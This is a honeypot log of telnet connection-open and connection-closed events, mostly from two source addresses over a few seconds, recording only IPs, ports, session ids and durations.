{"eventid":"cowrie.session.closed","duration":31.086053133010864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:29.014699Z","src_ip":"104.167.8.156","session":"3d6362187c94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42970,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f25f110edfa","protocol":"telnet","message":"New connection: 104.167.8.156:42970 (10.17.0.5:23) [session: 0f25f110edfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:29.150355Z"}
{"eventid":"cowrie.session.closed","duration":30.989566564559937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:29.155241Z","src_ip":"104.167.8.156","session":"2f10d4109fce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43316,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d76b4cde7cb","protocol":"telnet","message":"New connection: 104.167.8.156:43316 (10.17.0.5:23) [session: 4d76b4cde7cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:29.238959Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43638,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e21e7b516d1","protocol":"telnet","message":"New connection: 104.167.8.156:43638 (10.17.0.5:23) [session: 0e21e7b516d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:29.338857Z"}
{"eventid":"cowrie.session.closed","duration":31.2807297706604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:29.368433Z","src_ip":"104.167.8.156","session":"0e6be10f27d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.717738389968872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:29.374499Z","src_ip":"104.167.8.156","session":"f76b53a98f7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40644,"dst_ip":"10.17.0.5","dst_port":23,"session":"e890f74ad7c8","protocol":"telnet","message":"New connection: 104.167.8.156:40644 (10.17.0.5:23) [session: e890f74ad7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:29.441172Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44272,"dst_ip":"10.17.0.5","dst_port":23,"session":"facf3ed50db1","protocol":"telnet","message":"New connection: 104.167.8.156:44272 (10.17.0.5:23) [session: facf3ed50db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:29.550386Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45090,"dst_ip":"10.17.0.5","dst_port":23,"session":"718581922051","protocol":"telnet","message":"New connection: 104.167.8.156:45090 (10.17.0.5:23) [session: 718581922051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:29.802201Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35666,"dst_ip":"10.17.0.5","dst_port":23,"session":"a82bddb4a628","protocol":"telnet","message":"New connection: 104.167.8.156:35666 (10.17.0.5:23) [session: a82bddb4a628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:29.852806Z"}
{"eventid":"cowrie.session.closed","duration":31.323174238204956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:29.870508Z","src_ip":"108.61.251.217","session":"a27c46cf3111","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24008536338806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:29.884041Z","src_ip":"104.167.8.156","session":"9682ffd1439a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48838,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c6eac4deee8","protocol":"telnet","message":"New connection: 108.61.251.217:48838 (10.17.0.5:23) [session: 2c6eac4deee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:29.924071Z"}
{"eventid":"cowrie.session.closed","duration":30.28399157524109,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:30.078823Z","src_ip":"104.167.8.156","session":"107a4e2b0ac0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36550,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8362b65f6e1","protocol":"telnet","message":"New connection: 104.167.8.156:36550 (10.17.0.5:23) [session: b8362b65f6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:30.128695Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48844,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a06cb01af47","protocol":"telnet","message":"New connection: 108.61.251.217:48844 (10.17.0.5:23) [session: 3a06cb01af47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:30.354696Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47136,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a2501b9b517","protocol":"telnet","message":"New connection: 104.167.8.156:47136 (10.17.0.5:23) [session: 0a2501b9b517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:30.439886Z"}
{"eventid":"cowrie.session.closed","duration":30.657310247421265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:30.551567Z","src_ip":"104.167.8.156","session":"5ae5f87862b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47698,"dst_ip":"10.17.0.5","dst_port":23,"session":"961071ccc832","protocol":"telnet","message":"New connection: 104.167.8.156:47698 (10.17.0.5:23) [session: 961071ccc832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:30.628768Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47702,"dst_ip":"10.17.0.5","dst_port":23,"session":"aedfc63bd663","protocol":"telnet","message":"New connection: 104.167.8.156:47702 (10.17.0.5:23) [session: aedfc63bd663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:30.635140Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44866,"dst_ip":"10.17.0.5","dst_port":23,"session":"55bc3dfc4411","protocol":"telnet","message":"New connection: 104.167.8.156:44866 (10.17.0.5:23) [session: 55bc3dfc4411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:30.737088Z"}
{"eventid":"cowrie.session.closed","duration":31.81539487838745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:30.816260Z","src_ip":"104.167.8.156","session":"eba752a9a8b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.289947032928467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:30.822181Z","src_ip":"108.61.251.217","session":"d27f5a39e581","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48722,"dst_ip":"10.17.0.5","dst_port":23,"session":"3460741f2a8d","protocol":"telnet","message":"New connection: 104.167.8.156:48722 (10.17.0.5:23) [session: 3460741f2a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:30.941420Z"}
{"eventid":"cowrie.session.closed","duration":31.193981170654297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:31.002754Z","src_ip":"104.167.8.156","session":"f5980eeb5c8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.492992639541626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:31.092523Z","src_ip":"104.167.8.156","session":"d5555202501d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.426949501037598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:31.145240Z","src_ip":"104.167.8.156","session":"bd50af80a7d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88107132911682,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:31.175992Z","src_ip":"108.61.251.217","session":"805975cfe8e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.466832637786865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:31.238350Z","src_ip":"108.61.251.217","session":"264964bde52a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49812,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f87d85e226b","protocol":"telnet","message":"New connection: 104.167.8.156:49812 (10.17.0.5:23) [session: 4f87d85e226b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:31.260062Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50214,"dst_ip":"10.17.0.5","dst_port":23,"session":"693e5e82cc79","protocol":"telnet","message":"New connection: 104.167.8.156:50214 (10.17.0.5:23) [session: 693e5e82cc79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:31.404489Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51066,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9995ced555a","protocol":"telnet","message":"New connection: 104.167.8.156:51066 (10.17.0.5:23) [session: b9995ced555a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:31.624574Z"}
{"eventid":"cowrie.session.closed","duration":31.540080070495605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:31.685469Z","src_ip":"104.167.8.156","session":"00c54f2400fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.784319400787354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:31.746727Z","src_ip":"108.61.251.217","session":"e2723eebac74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.103035926818848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:31.827919Z","src_ip":"104.167.8.156","session":"1cef00f5999a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48876,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e9eca647229","protocol":"telnet","message":"New connection: 108.61.251.217:48876 (10.17.0.5:23) [session: 0e9eca647229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.007766Z"}
{"eventid":"cowrie.session.closed","duration":30.28883957862854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.093231Z","src_ip":"104.167.8.156","session":"ebb51893b51f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52530,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad593fed8a39","protocol":"telnet","message":"New connection: 104.167.8.156:52530 (10.17.0.5:23) [session: ad593fed8a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.100041Z"}
{"eventid":"cowrie.session.closed","duration":30.686156034469604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.110108Z","src_ip":"108.61.251.217","session":"42ebe623e80c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04371190071106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.123873Z","src_ip":"108.61.251.217","session":"e6b5b55e3731","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48910,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c21b8e5de78","protocol":"telnet","message":"New connection: 108.61.251.217:48910 (10.17.0.5:23) [session: 3c21b8e5de78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.541330Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54440,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5bad403fbab","protocol":"telnet","message":"New connection: 104.167.8.156:54440 (10.17.0.5:23) [session: a5bad403fbab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.658864Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54522,"dst_ip":"10.17.0.5","dst_port":23,"session":"658583fdd7ee","protocol":"telnet","message":"New connection: 104.167.8.156:54522 (10.17.0.5:23) [session: 658583fdd7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.684349Z"}
{"eventid":"cowrie.session.closed","duration":31.0989408493042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.703741Z","src_ip":"104.167.8.156","session":"0eae77117f65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54956,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecffc3e97e19","protocol":"telnet","message":"New connection: 104.167.8.156:54956 (10.17.0.5:23) [session: ecffc3e97e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.822286Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55082,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9194b368b75","protocol":"telnet","message":"New connection: 104.167.8.156:55082 (10.17.0.5:23) [session: a9194b368b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.866352Z"}
{"eventid":"cowrie.session.closed","duration":31.79943323135376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.884720Z","src_ip":"104.167.8.156","session":"3969a1503ac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101357460021973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.955756Z","src_ip":"108.61.251.217","session":"6a2ebda2ee74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55534,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1944a6eaca5","protocol":"telnet","message":"New connection: 104.167.8.156:55534 (10.17.0.5:23) [session: b1944a6eaca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.989524Z"}
{"eventid":"cowrie.session.closed","duration":31.825782775878906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:32.997063Z","src_ip":"104.167.8.156","session":"09af6a7f49d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48938,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f95f7404ecc","protocol":"telnet","message":"New connection: 108.61.251.217:48938 (10.17.0.5:23) [session: 2f95f7404ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:33.088060Z"}
{"eventid":"cowrie.session.closed","duration":30.341750383377075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:33.104245Z","src_ip":"108.61.251.217","session":"4e63c581ef86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92552614212036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:33.110777Z","src_ip":"104.167.8.156","session":"e7d0f6497e7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47281312942505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:33.127178Z","src_ip":"108.61.251.217","session":"3505fbf7559f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52968,"dst_ip":"10.17.0.5","dst_port":23,"session":"d556e2af07ce","protocol":"telnet","message":"New connection: 104.167.8.156:52968 (10.17.0.5:23) [session: d556e2af07ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:33.220684Z"}
{"eventid":"cowrie.session.closed","duration":30.972415924072266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:33.241551Z","src_ip":"108.61.251.217","session":"5462fabe1879","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56626,"dst_ip":"10.17.0.5","dst_port":23,"session":"6498bcfb42a4","protocol":"telnet","message":"New connection: 104.167.8.156:56626 (10.17.0.5:23) [session: 6498bcfb42a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:33.288442Z"}
{"eventid":"cowrie.session.closed","duration":30.984684944152832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:33.560198Z","src_ip":"104.167.8.156","session":"b6fd8abb8f6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48964,"dst_ip":"10.17.0.5","dst_port":23,"session":"a900869f5576","protocol":"telnet","message":"New connection: 108.61.251.217:48964 (10.17.0.5:23) [session: a900869f5576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:33.589675Z"}
{"eventid":"cowrie.session.closed","duration":41.77505278587341,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:33.623272Z","src_ip":"188.208.141.113","session":"a7057589297d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48972,"dst_ip":"10.17.0.5","dst_port":23,"session":"c80dca5a4430","protocol":"telnet","message":"New connection: 108.61.251.217:48972 (10.17.0.5:23) [session: c80dca5a4430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:33.698641Z"}
{"eventid":"cowrie.session.closed","duration":35.23791480064392,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:33.933775Z","src_ip":"64.227.9.242","session":"a9c5bdd114b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44774,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e4a3dff6ac3","protocol":"telnet","message":"New connection: 188.208.141.113:44774 (10.17.0.5:23) [session: 4e4a3dff6ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:34.058078Z"}
{"eventid":"cowrie.session.closed","duration":30.581942319869995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:34.063267Z","src_ip":"104.167.8.156","session":"e37e432c6392","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49302,"dst_ip":"10.17.0.5","dst_port":23,"session":"029e745ebb7c","protocol":"telnet","message":"New connection: 104.167.8.156:49302 (10.17.0.5:23) [session: 029e745ebb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:34.124357Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":49006,"dst_ip":"10.17.0.5","dst_port":23,"session":"0de3cee99977","protocol":"telnet","message":"New connection: 108.61.251.217:49006 (10.17.0.5:23) [session: 0de3cee99977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:34.208254Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":49020,"dst_ip":"10.17.0.5","dst_port":23,"session":"30c3bb6f55ed","protocol":"telnet","message":"New connection: 108.61.251.217:49020 (10.17.0.5:23) [session: 30c3bb6f55ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:34.214048Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59448,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0bc35b3a992","protocol":"telnet","message":"New connection: 104.167.8.156:59448 (10.17.0.5:23) [session: c0bc35b3a992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:34.305940Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":60832,"dst_ip":"159.203.135.109","dst_port":23,"session":"38f174424354","protocol":"telnet","message":"New connection: 98.70.41.28:60832 (159.203.135.109:23) [session: 38f174424354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:34.433340Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60188,"dst_ip":"10.17.0.5","dst_port":23,"session":"9aaa50e9c1e2","protocol":"telnet","message":"New connection: 104.167.8.156:60188 (10.17.0.5:23) [session: 9aaa50e9c1e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:34.519073Z"}
{"eventid":"cowrie.session.closed","duration":31.705748081207275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:34.681240Z","src_ip":"104.167.8.156","session":"e2ad2e32ee54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60720,"dst_ip":"10.17.0.5","dst_port":23,"session":"f734b38c9382","protocol":"telnet","message":"New connection: 104.167.8.156:60720 (10.17.0.5:23) [session: f734b38c9382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:34.692125Z"}
{"eventid":"cowrie.session.closed","duration":31.185371160507202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:34.952360Z","src_ip":"104.167.8.156","session":"a2c575abc939","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.353938817977905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:35.031012Z","src_ip":"104.167.8.156","session":"7d46ecebeaac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.745274543762207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:35.141504Z","src_ip":"108.61.251.217","session":"0952190c7b8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33860,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d5e8cda3949","protocol":"telnet","message":"New connection: 104.167.8.156:33860 (10.17.0.5:23) [session: 6d5e8cda3949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:35.161020Z"}
{"eventid":"cowrie.session.closed","duration":30.784766674041748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:35.216015Z","src_ip":"108.61.251.217","session":"27f590968064","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":49048,"dst_ip":"10.17.0.5","dst_port":23,"session":"067a4c6a78d0","protocol":"telnet","message":"New connection: 108.61.251.217:49048 (10.17.0.5:23) [session: 067a4c6a78d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:35.222065Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":60854,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5aceb81cb39","protocol":"telnet","message":"New connection: 98.70.41.28:60854 (159.203.135.109:23) [session: d5aceb81cb39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:35.411436Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59888,"dst_ip":"10.17.0.5","dst_port":23,"session":"95869d9a14ab","protocol":"telnet","message":"New connection: 104.167.8.156:59888 (10.17.0.5:23) [session: 95869d9a14ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:35.434666Z"}
